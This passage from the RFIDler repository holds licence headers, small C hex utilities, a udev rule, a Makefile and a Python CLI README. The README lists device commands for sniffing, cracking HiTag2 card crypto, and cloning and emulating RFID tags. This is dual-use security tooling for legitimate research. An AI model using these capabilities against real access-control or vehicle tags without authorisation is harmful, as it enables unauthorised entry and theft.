HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n/*\n * Hitag Crypto support macros\n * These macros reverse the bit order in a byte, or *within* each byte of a\n * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)\n */\n#define rev8(X)   ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \\\n                  + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \\\n                  + (((X) << 5) &64) + (((X) << 7) &128) )\n#define rev16(X)  (rev8 (X) + (rev8 (X >> 8) << 8))\n#define rev32(X)  (rev16(X) + (rev16(X >> 16) << 16))\n#define rev64(X)  (rev32(X) + (rev32(X >> 32) << 32))\n\n\nunsigned long hexreversetoulong(BYTE *hex);\nunsigned long long hexreversetoulonglong(BYTE *hex);\n\n"
  },
  {
    "path": "hitag2crack/crack4/utilpart.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include <string.h>\n#include <stdio.h>\n#include \"HardwareProfile.h\"\n#include \"util.h\"\n#include \"rfidler.h\"\n//#include \"comms.h\"\n\n// rtc\nrtccTime\tRTC_time;\t\t\t// time structure\nrtccDate\tRTC_date;\t\t\t// date structure\n\n// convert byte-reversed 8 digit hex to unsigned long\nunsigned long hexreversetoulong(BYTE *hex)\n{\n    unsigned long ret= 0L;\n    unsigned int x;\n    BYTE i;\n\n    if(strlen(hex) != 8)\n        return 0L;\n\n    for(i= 0 ; i < 4 ; ++i)\n    {\n        if(sscanf(hex, \"%2X\", &x) != 1)\n                return 0L;\n        ret += ((unsigned long) x) << i * 8;\n        hex += 2;\n    }\n    return ret;\n}\n\n// convert byte-reversed 12 digit hex to unsigned long\nunsigned long long hexreversetoulonglong(BYTE *hex)\n{\n    unsigned long long ret= 0LL;\n    BYTE tmp[9];\n    \n    // this may seem an odd way to do it, but weird compiler issues were \n    // breaking direct conversion!\n    \n    tmp[8]= '\\0';\n    memset(tmp + 4, '0', 4);\n    memcpy(tmp, hex + 8, 4);\n    ret= hexreversetoulong(tmp);\n    ret <<= 32;\n    memcpy(tmp, hex, 8);\n    ret += hexreversetoulong(tmp);\n    return ret;\n}\n\n\n"
  },
  {
    "path": "linux-support/71-rfidler-lf-cdc-blacklist.rules",
    "content": "# place this file in /etc/udev/rules.d and run 'sudo udevadm control --reload-rules'\n\nACTION!=\"add|change\", GOTO=\"mm_usb_device_blacklist_end\"\n\n# bootloader mode (microchip ID)\nATTRS{idVendor}==\"04d8\" ATTRS{idProduct}==\"003c\" MODE:=\"0666\" SYMLINK+=\"RFIDlerBL\"\n\nSUBSYSTEM!=\"tty\", GOTO=\"mm_ignore\"\n\n# openmoko issued id for rfidler-lf\n# http://wiki.openmoko.org/wiki/USB_Product_IDs\nATTRS{idVendor}==\"1d50\" ATTRS{idProduct}==\"6098\" MODE:=\"0666\" SYMLINK+=\"RFIDler\"\n\nLABEL=\"mm_ignore\"\nATTRS{idVendor}==\"1d50\" ATTRS{idProduct}==\"6098\", ENV{ID_MM_DEVICE_IGNORE}=\"1\"\n\nLABEL=\"mm_usb_device_blacklist_end\"\n"
  },
  {
    "path": "python/Makefile",
    "content": "#\n\nPYLINT=pylint\nPYCODESTYLE=pycodestyle\n\nFILES=rfidler.py RFIDler/__init__.py\n\nall: pylint\n\nlint: pylint\n\npylint:\n\t@for f in ${FILES} ; do \\\n\t\techo checking $${f} ; \\\n\t\t${PYLINT} -E $${f} ; \\\n\t\t${PYCODESTYLE} $${f} ; \\\n\tdone\n\ninstall:\n\tpip3 install .\n\nuninstall:\n\tpip3 uninstall RFIDler\n\nclean:\n\t@/bin/rm -fr *.pyc RFIDler/*.pyc RFIDler/__pycache__\n\t@/bin/rm -fr dist build RFIDler.egg-info\n"
  },
  {
    "path": "python/README.md",
    "content": "# RFIDler CLI python wrapper\n\n---\n\n[rfidler.py](rfidler.py) RFIDler Software Defined RFID device python wrapper\n\n\n## Usage\n```\n./rfidler.py [PORT] <COMMAND> [ARGS] [COMMAND [ARGS] ...]\n\n   Commands:\n\n     DEBUG <OFF|ON>                      Show serial comms\n     FLASH[P] <IMAGE.HEX>                Set bootloader mode and flash IMAGE.HEX [in Production mode]\n     PLOT[N] <SAMPLES>                   Plot raw coil samples ([N]o local clock)\n     STORE[N] <SAMPLES> <file_prefix>    Save raw coil samples to file ([N]o local clock)\n     LOAD <file>                         Load and plot saved sample-file\n     PROMPT <MESSAGE>                    Print MESSAGE and wait for <ENTER>\n     QUIET                               Suppress confirmation of sent command (show results only)\n     SLEEP <SECONDS>                     Pause for SECONDS\n     HELP COMMANDS                       Print RFIDler Commands\n     TEST                                Run hardware manufacturing test suite\n\n   Commands will be executed sequentially.\n   Unrecognized commands will be passed directly to RFIDler.\n   Commands with arguments to be passed directly should be quoted. e.g. \"SET TAG FDXB\"\n```\n\n<details><summary>RFIDler Commands:</summary>\n\n```\n    ANALOGUE[N] <# OF SAMPLES>                                   Sample raw coil ([N]o local clock) & output in XML (HEX)\n    APDU <CLA+INS+P1+P2[+LC+DATA][+LE]>                          Transmit (HEX) ISO-7816-4 APDU to SmartCard. Return is [DATA]+<SW1>+<SW2>\n    API                                                          Switch to API mode\n    ASK <HEX UID> <FC> <RATE> <REPEAT>                           Emulate ASK, Field Clock in uS/100, Data Rate in RF/n\n    ATR                                                          Get Answer To Reset from SmartCard\n    AUTH [HEX KEY] [BLOCK]                                       Authenticate in CRYPTO mode\n    AUTOPOT                                                      Auto-Detect ideal POT setting(s)\n    AUTORATE                                                     Auto-Detect data rate\n    AUTORUN [OFF | COMMAND [ARGS]]                               Set/Show startup command\n    AUTOTAG                                                      Auto-Detect TAG type\n    BINTOHEX <BIN>                                               Show BINARY as HEX string\n    BL                                                           Reboot in BOOTLOADER mode\n    CLI                                                          Switch to CLI mode\n    COIL <HIGH|LOW>                                              Set emulator coil output HIGH/LOW\n    CONFIG                                                       Show current NVM config\n    CONVERT <TAGTYPE>                                            Convert VTAG to TAGTYPE\n    CLOCKH <HZ>                                                  Enable H/W TOGGLE CLOCK (timings in Hz, max 250,000)\n    CLOCKP <PW> <PERIOD>                                         Enable H/W PWM CLOCK (timings in uS/100, max 53,687,091)\n    CLOCKT <PERIOD>                                              Enable H/W TOGGLE CLOCK (timings in uS/100, max 53,687,091)\n    CLONE [HEX KEY|PWD]                                          Copy Virtual TAG to TAG (may require auth/login)\n    COPY [TAGTYPE] [HEX KEY|PWD]                                 Copy TAG (and optionally convert) to Virtual TAG (may require auth/login)\n    DEBUG [1-4]                                                  Toggle DEBUG line state (no argument to SHOW current states)\n    DEBUGOFF <0-4>                                               DEBUG off (LOW) (0 for ALL)\n    DEBUGON <0-4>                                                DEBUG on (HIGH) (0 for ALL)\n    DETECT                                                       Detect external clock with READER coil\n    DOOR <CLOSE|OPEN>                                            Close or Open DOOR RELAY\n    DUMP <START BLOCK> [END BLOCK]                               Read and view data block(s) (may require auth/login)\n    EMU <UID>                                                    One-shot emulate UID with current TAG config\n    EMULATOR [BG]                                                Continuously emulate VTAG [optionally in the BackGround]\n    ENCODE <UID> [TAGTYPE]                                       Show raw HEX UID or create VTAG for encoded UID\n    EXAMPLES                                                     Show some emulation examples\n    FSK <HEX UID> <FC> <RATE> <SUB0> <SUB1> <REPEAT>             Emulate FSK, Field Clock in uS/100, Data Rate in RF/n,\n                                                                      Sub Carriers 0/1 in RF/n\n    FREQUENCY                                                    Show resonant frequency of coil\n    HELP                                                         Show this help\n    HEXTOBIN <HEX>                                               Show HEX as BINARY string\n    HITAG2-CRACK <NR/PRN> <AR/SECRET>                            Crack HiTag2 card crypto (SNIFF-PWM first)\n    HITAG2-KEYSTREAM <NR/PRN> <AR/SECRET>                        Retrieve HiTag2 card crypto keystream (SNIFF-PWM first)\n    HITAG2-READER [KEY] [S]                                      Reader mode for crypto authenticated HiTag2 operations - S stores to NVRAM\n    HITAG2-CLEARSTOREDTAGS                                       Clears the HiTag2 tags from NVRAM\n    HITAG2-COUNTSTOREDTAGS                                       Displays the number of HiTag2 tags stored in NVRAM\n    HITAG2-LISTSTOREDTAGS [START] [END]                          Displays the stored tags from START to END\n    LOAD                                                         Load config from NVM\n    LED <1-6>                                                    Toggle LED\n    LEDOFF <0-6>                                                 LED off (0 for ALL)\n    LEDON <0-6>                                                  LED on (0 for ALL)\n    LOGIN [PWD] [BLOCK]                                          Authenticate in PASSWORD mode\n    PING                                                         Keepalive - prints 'RFIDler'\n    PINS                                                         Show wiring diagram (alias: WIRES WIRING)\n    POTS                                                         Show POT wiper settings\n    POTINC <H|L> <1-255>                                         Increment POT\n    POTDEC <H|L> <1-255>                                         Decrement POT\n    POTSET[V][NV] <H|L> <0-255>                                  Set [Volts][Non Volatile] POT wiper\n    PSK1 <HEX UID> <FC> <RATE> <SUB> <REPEAT>                    Emulate PSK1, Field Clock in uS/100, Data Rate in RF/n,\n                                                                      Sub Carrier in RF/n\n    PWM <FC> <SLEEP> <WAKE> <PW0> <PW1> <GAP> <TXRX> <RXTX>      Set PWM parameters for RWD commands, Field Clock in uS/100, timings in FCs\n    READ <START BLOCK> [END BLOCK]                               Read and store data block(s) (may require auth/login)\n    READER                                                       Go into READER mode (continuously acquire UID)\n    REBOOT                                                       Perform soft reset\n    RTC                                                          Show Real Time Clock\n    RWD <BINARY>                                                 Send binary command/data\n    SAVE                                                         Save current config to NVM\n    SELECT [UID]                                                 Send SELECT command\n    SET BIPHASE <ON|OFF>                                         Set BiPhase encoding\n    SET BITS <BITS>                                              Set number of data bits\n    SET FC <PERIOD>                                              Set Field Clock in uS/100\n    SET INVERT <ON|OFF>                                          Set data inversion\n    SET MANCHESTER <ON|OFF>                                      Set Manchester encoding\n    SET MOD <ASK|FSK|PSK1>                                       Set modulation scheme\n    SET PSK <QUALITY>                                            Set minimum PSK pulse width in uS\n    SET RATE <RATE>                                              Set Data Rate in RF/n (FC/bit)\n    SET REPEAT <REPEAT>                                          Set emulation transmission repetitions\n    SET SUB0 <RATE>                                              Set Sub Carrier 0 data rate in RF/n (FC/bit)\n    SET SUB1 <RATE>                                              Set Sub Carrier 1 data rate in RF/n (FC/bit)\n    SET SYNCBITS <BITS>                                          Set number of SYNC bits\n    SET SYNC<0-3> <HEX>                                          Set SYNC byte 0-3\n    SET TAG <TYPE>                                               Set parameters appropriate for TAG TYPE\n    SET VTAG <TYPE>                                              Set Virtual TAG TYPE\n    SNIFFER                                                      Go into SNIFFER mode (continuously sniff UID)\n    SNIFF-PWM [MIN GAP] [MIN PULSE] [MESG GAP]                   Sniff PWM on external clock with READER coil. Values in uS (default 12/0/0).\n    SNIFF-PWM <C|S|L>                                            Sniff PWM (HiTag2 mode) to NVRAM - CLEAR, STORE, LIST\n    STOP                                                         Stop any running clocks\n    TAGS                                                         Show known TAG TYPES\n    TCONFIG                                                      Show TAG's config block\n    TEST-HITAG                                                   Hitag2 crypto - test correctness & timing\n    TEST-RWD [HEX KEY|PATTERN|PWD]                               Find ideal paramaters for RWD commands\n    TEST-SC                                                      Test ISO-7816 Smartcard (get ATR)\n    TEST-SD                                                      Test SD card (directory listing)\n    TEST-TIMER                                                   Timer tests\n    TEST-WIEGAND                                                 Wiegand loopback test\n    TEST-WIEGAND-READ <DEBUG PIN>                                Wiegand reader test (triggers with DEBUG_PIN_X)\n    TRESET [PWD]                                                 Reset TAG's config block to default\n    TRISTATE <ON|OFF>                                            Switch reader circuit tri-state ON/OFF\n    TWIPE [PWD]                                                  Reset TAG contents to default (*** all data will be lost!)\n    UID                                                          Read TAG UID\n    VERSION                                                      Show firmware version\n    VTAG                                                         Show contents of Virtual TAG\n    VWRITE <BLOCK> <HEX DATA>                                    Write VTAG data block(s)\n    WIEGAND-LEARN                                                Learn Wiegand input timings\n    WIEGAND-OUT <OFF|ON>                                         Set Wiegand output OFF or ON\n    WIEGAND-READ                                                 Read Wiegand input\n    WIEGAND-WRITE <BINARY>                                       Send Wiegand output\n    WIPE                                                         Wipe NVM\n    WRITE <BLOCK> <HEX DATA>                                     Write data block (may require login/auth)\n    WIRES                                                        Show wiring diagram (alias: WIRING PINS)\n    WIRING                                                       Show wiring diagram (alias: WIRES PINS)\n```    \n</details>\n\n### Usage Examples\n<ul>\n\nFor more detailed information see [RFIDler/wiki](https://github.com/AdamLaurie/RFIDler/wiki/How)  \n\n\n Set the tag type to ASKRAW, set the High Potentiometer to max, and plot 500 samples :  \n&nbsp;&nbsp;`./rfidler.py 'set tag askraw' 'potset h 255' plot 500`\n\nSet tag type to FSK, set the High Potentiometer to max, set frequency to 134.2KHz and plot 500 samples :  \n&nbsp;&nbsp;`./rfidler.py 'set tag fskraw' 'potset h 255' 'set fc 745' plot 500`\n\nNote:\nThe calculation for frequency is simply 1 over the frequency, eg:  \n&nbsp;&nbsp;$`1 / 134200 = 0.00000745`$\n\n</ul>\n\n## Install\n<ul>\n\nYou can run from this directory or optionally install it\n\nTo install use the command: `pip3 install .`\n</ul>\n\n## See Also\n- RFIDler Wiki:  https://github.com/AdamLaurie/RFIDler/wiki/How\n- Discussion Forum : http://rfidler.org/\n- Github : https://github.com/AdamLaurie/RFIDler/\n- Copying : [COPYING](/COPYING)\n"
  },
  {
    "path": "python/RFIDler/__init__.py",
    "content": "\"\"\"\n/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************\n\n*/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\"\"\"\n\n# pylint: disable=invalid-name\n\nfrom typing import Union, Tuple\n# serial needs to be pyserial\n# https://stackoverflow.com/questions/64383756/has-python-package-serial-been-renamed-to-pyserial\nimport serial\nimport serial.tools.list_ports\n\n__VERSION__ = '1.1a'\n\n\nclass RFIDler():\n    \"\"\"Class for communicating with RFIDler hardware\"\"\"\n\n    # globals\n    connection = None\n    Debug = False\n    used_port = None\n\n    def send_command(self, tosend: str) -> Tuple[bool, str]:\n        \"\"\"\n        low level send a command\n        internal use only - external code should call 'command()'\n        args: command line to send\n        return: True/False, data\n        possible data values:\n            '.' - OK, command complete, no data to follow\n            '+' - OK, command complete, data/result to follow\n            '!' - command failed, reason to follow\n            '?' - command not recognised\n        \"\"\"\n        # pylint: disable=too-many-return-statements\n\n        if self.connection is None:\n            return False, \"Device not connected\"\n\n        try:\n            cmd_str = f\"{tosend}\\r\\n\".encode('ascii')\n            if self.Debug:\n                print(f'\\r\\n>>> {cmd_str}', end='')\n\n            